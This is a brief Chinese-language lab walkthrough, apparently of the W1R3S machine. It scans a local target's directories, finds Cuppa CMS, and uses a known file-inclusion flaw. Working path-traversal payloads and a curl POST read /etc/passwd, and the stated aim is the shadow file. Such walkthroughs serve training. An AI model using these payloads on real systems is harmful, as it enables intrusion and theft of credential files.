web渗透
访问web页面
是Apache2 Ubuntu Default Page
目录扫描
gobuster dir -u http://192.168.56.127 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
/wordpress (Status: 301) [Size: 320] [--> http://192.168.56.127/wordpress/]
/javascript (Status: 301) [Size: 321] [--> http://192.168.56.127/javascript/]
/administrator (Status: 301) [Size: 324] [--> http://192.168.56.127/administrator/]
/server-status (Status: 403) [Size: 302]
访问wordpress会返回localhost
javascript是403
访问administrator得到一个Cuppa cms安装页面
尝试发现并不能进行安装
猜测该网站就是搭建的这个cms，于是寻找该cms的漏洞
searchsploit cuppa cms
发现一个文件包含漏洞
文件包含读取shadow
利用方式
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
尝试访问并没有回显，尝试搜索该cms的源码
发现需要POST传参
curl --data-urlencode "urlConfig=../../../../../../../../etc/passwd" http://192.168.56.127/administrator/alerts/alertConfigField.php
w1r3s:x:1000:1000:w1r3s,,,:/home/w1r3s:/bin/bash
